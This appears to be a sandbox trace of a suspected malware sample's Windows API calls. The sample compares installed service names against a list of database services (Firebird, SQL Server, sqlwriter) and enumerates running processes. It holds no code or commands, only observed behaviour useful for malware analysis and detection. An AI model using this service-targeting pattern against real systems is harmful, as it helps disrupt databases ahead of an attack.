	[0038.578] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1
	[0038.578] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1
	[0038.578] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1
	[0038.578] lstrlenW (lpString="MpsSvc") returned 6
	[0038.578] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1
	[0038.578] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1
	[0038.578] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1
	[0038.578] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1
	[0038.578] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1
	[0038.578] lstrlenW (lpString="NcbService") returned 10
	[0038.578] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1
	[0038.578] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1
	[0038.578] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1
	[0038.578] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1
	[0038.578] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1
	[0038.579] lstrlenW (lpString="netprofm") returned 8
	[0038.579] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1
	[0038.579] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1
	[0038.579] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1
	[0038.579] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1
	[0038.579] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1
	[0038.579] lstrlenW (lpString="NgcSvc") returned 6
	[0038.579] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1
	[0038.579] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1
	[0038.579] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1
	[0038.579] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1
	[0038.579] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1
	[0038.579] lstrlenW (lpString="NlaSvc") returned 6
	[0038.579] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1
	[0038.579] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1
	[0038.579] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1
	[0038.579] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1
	[0038.579] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1
	[0038.579] lstrlenW (lpString="nsi") returned 3
	[0038.579] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1
	[0038.579] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1
	[0038.579] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1
	[0038.579] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1
	[0038.579] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1
	[0038.579] lstrlenW (lpString="PcaSvc") returned 6
	[0038.579] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1
	[0038.579] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1
	[0038.579] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1
	[0038.579] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1
	[0038.579] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1
	[0038.579] lstrlenW (lpString="PlugPlay") returned 8
	[0038.579] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1
	[0038.579] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1
	[0038.579] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1
	[0038.579] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1
	[0038.579] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1
	[0038.579] lstrlenW (lpString="Power") returned 5
	[0038.579] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1
	[0038.580] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1
	[0038.580] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1
	[0038.580] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1
	[0038.580] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1
	[0038.580] lstrlenW (lpString="ProfSvc") returned 7
	[0038.580] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1
	[0038.580] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1
	[0038.580] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1
	[0038.580] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1
	[0038.580] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1
	[0038.580] lstrlenW (lpString="RpcEptMapper") returned 12
	[0038.580] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0038.580] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0038.580] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1
	[0038.580] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1
	[0038.580] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1
	[0038.580] lstrlenW (lpString="RpcSs") returned 5
	[0038.580] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1
	[0038.580] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1
	[0038.580] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1
	[0038.580] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1
	[0038.580] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1
	[0038.580] lstrlenW (lpString="SamSs") returned 5
	[0038.580] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1
	[0038.580] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1
	[0038.580] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1
	[0038.580] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1
	[0038.580] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1
	[0038.580] lstrlenW (lpString="Schedule") returned 8
	[0038.580] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1
	[0038.580] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1
	[0038.580] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1
	[0038.580] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1
	[0038.580] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1
	[0038.580] lstrlenW (lpString="SecurityHealthService") returned 21
	[0038.580] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0038.581] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0038.581] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1
	[0038.581] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1
	[0038.581] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1
	[0038.581] lstrlenW (lpString="SENS") returned 4
	[0038.581] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1
	[0038.581] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1
	[0038.581] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1
	[0038.581] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1
	[0038.581] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1
	[0038.581] lstrlenW (lpString="ShellHWDetection") returned 16
	[0038.581] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0038.581] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0038.581] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1
	[0038.581] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1
	[0038.581] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1
	[0038.581] lstrlenW (lpString="Spooler") returned 7
	[0038.581] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1
	[0038.581] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1
	[0038.581] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1
	[0038.581] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1
	[0038.581] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1
	[0038.581] lstrlenW (lpString="StateRepository") returned 15
	[0038.581] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1
	[0038.581] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1
	[0038.581] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1
	[0038.581] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1
	[0038.581] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1
	[0038.581] lstrlenW (lpString="SysMain") returned 7
	[0038.581] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1
	[0038.582] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1
	[0038.582] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1
	[0038.582] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1
	[0038.582] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1
	[0038.582] lstrlenW (lpString="SystemEventsBroker") returned 18
	[0038.582] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1
	[0038.582] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1
	[0038.582] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1
	[0038.582] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1
	[0038.582] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1
	[0038.582] lstrlenW (lpString="Themes") returned 6
	[0038.582] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1
	[0038.582] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1
	[0038.582] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1
	[0038.582] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1
	[0038.582] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x6acd08 | out: hHeap=0x650000) returned 1
	[0038.582] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2a4
	[0038.715] Process32FirstW (in: hSnapshot=0x2a4, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1
	[0038.715] Process32NextW (in: hSnapshot=0x2a4, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6b, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1
	[0038.716] lstrlenW (lpString="System") returned 6
	[0038.716] Process32NextW (in: hSnapshot=0x2a4, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1
	[0038.717] lstrlenW (lpString="smss.exe") returned 8
	[0038.717] Process32NextW (in: hSnapshot=0x2a4, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0038.718] lstrlenW (lpString="csrss.exe") returned 9
	[0038.718] Process32NextW (in: hSnapshot=0x2a4, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1
	[0038.718] lstrlenW (lpString="wininit.exe") returned 11
	[0038.718] Process32NextW (in: hSnapshot=0x2a4, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0038.719] lstrlenW (lpString="csrss.exe") returned 9
	[0038.719] Process32NextW (in: hSnapshot=0x2a4, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x234, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1
	[0038.720] lstrlenW (lpString="winlogon.exe") returned 12
	[0038.720] Process32NextW (in: hSnapshot=0x2a4, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1
	[0038.720] lstrlenW (lpString="services.exe") returned 12
	[0038.721] Process32NextW (in: hSnapshot=0x2a4, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x258, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1
	[0038.721] lstrlenW (lpString="lsass.exe") returned 9
	[0038.721] Process32NextW (in: hSnapshot=0x2a4, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0038.722] lstrlenW (lpString="svchost.exe") returned 11
	[0038.722] Process32NextW (in: hSnapshot=0x2a4, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x234, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0038.723] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0038.723] Process32NextW (in: hSnapshot=0x2a4, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0038.723] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0038.723] Process32NextW (in: hSnapshot=0x2a4, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0038.724] lstrlenW (lpString="svchost.exe") returned 11
	[0038.724] Process32NextW (in: hSnapshot=0x2a4, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x234, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1
	[0038.725] lstrlenW (lpString="dwm.exe") returned 7
	[0038.725] Process32NextW (in: hSnapshot=0x2a4, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4f, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0038.725] lstrlenW (lpString="svchost.exe") returned 11
	[0038.726] Process32NextW (in: hSnapshot=0x2a4, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0038.726] lstrlenW (lpString="svchost.exe") returned 11
	[0038.726] Process32NextW (in: hSnapshot=0x2a4, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0038.727] lstrlenW (lpString="svchost.exe") returned 11
	[0038.727] Process32NextW (in: hSnapshot=0x2a4, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x12c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0038.727] lstrlenW (lpString="svchost.exe") returned 11
	[0038.727] Process32NextW (in: hSnapshot=0x2a4, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x170, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x24, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0038.728] lstrlenW (lpString="svchost.exe") returned 11
	[0038.728] Process32NextW (in: hSnapshot=0x2a4, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0038.729] lstrlenW (lpString="svchost.exe") returned 11
	[0038.729] Process32NextW (in: hSnapshot=0x2a4, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0038.729] lstrlenW (lpString="svchost.exe") returned 11
	[0038.729] Process32NextW (in: hSnapshot=0x2a4, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x530, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0038.730] lstrlenW (lpString="svchost.exe") returned 11
	[0038.730] Process32NextW (in: hSnapshot=0x2a4, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x538, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0038.730] lstrlenW (lpString="svchost.exe") returned 11
	[0038.731] Process32NextW (in: hSnapshot=0x2a4, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1
	[0038.731] lstrlenW (lpString="spoolsv.exe") returned 11
	[0038.731] Process32NextW (in: hSnapshot=0x2a4, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0038.732] lstrlenW (lpString="svchost.exe") returned 11
	[0038.732] Process32NextW (in: hSnapshot=0x2a4, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x684, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0038.732] lstrlenW (lpString="svchost.exe") returned 11
	[0038.733] Process32NextW (in: hSnapshot=0x2a4, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x4fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1
	[0038.733] lstrlenW (lpString="audiodg.exe") returned 11
	[0038.733] Process32NextW (in: hSnapshot=0x2a4, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1
	[0038.734] lstrlenW (lpString="sihost.exe") returned 10
	[0038.734] Process32NextW (in: hSnapshot=0x2a4, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x718, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0038.734] lstrlenW (lpString="svchost.exe") returned 11
	[0038.734] Process32NextW (in: hSnapshot=0x2a4, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0038.735] lstrlenW (lpString="taskhostw.exe") returned 13
	[0038.735] Process32NextW (in: hSnapshot=0x2a4, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1
	[0038.736] lstrlenW (lpString="OfficeClickToRun.exe") returned 20
	[0038.736] Process32NextW (in: hSnapshot=0x2a4, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x55c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1
	[0038.736] lstrlenW (lpString="SecurityHealthService.exe") returned 25
	[0038.736] Process32NextW (in: hSnapshot=0x2a4, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x860, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3d, th32ParentProcessID=0x834, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1
	[0038.737] lstrlenW (lpString="explorer.exe") returned 12
	[0038.737] Process32NextW (in: hSnapshot=0x2a4, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1
	[0038.738] lstrlenW (lpString="Memory Compression") returned 18
	[0038.738] Process32NextW (in: hSnapshot=0x2a4, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1
	[0038.738] lstrlenW (lpString="ShellExperienceHost.exe") returned 23
	[0038.738] Process32NextW (in: hSnapshot=0x2a4, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1
	[0038.739] lstrlenW (lpString="SearchUI.exe") returned 12
	[0038.739] Process32NextW (in: hSnapshot=0x2a4, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1
	[0038.740] lstrlenW (lpString="RuntimeBroker.exe") returned 17
	[0038.740] Process32NextW (in: hSnapshot=0x2a4, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1
	[0038.741] lstrlenW (lpString="WmiPrvSE.exe") returned 12
	[0038.741] Process32NextW (in: hSnapshot=0x2a4, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfa4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0038.741] lstrlenW (lpString="taskhostw.exe") returned 13
	[0038.741] Process32NextW (in: hSnapshot=0x2a4, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfd0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="OfficeC2RClient.exe")) returned 1
	[0038.742] lstrlenW (lpString="OfficeC2RClient.exe") returned 19
	[0038.742] Process32NextW (in: hSnapshot=0x2a4, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfd8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="UsoClient.exe")) returned 1
	[0038.742] lstrlenW (lpString="UsoClient.exe") returned 13
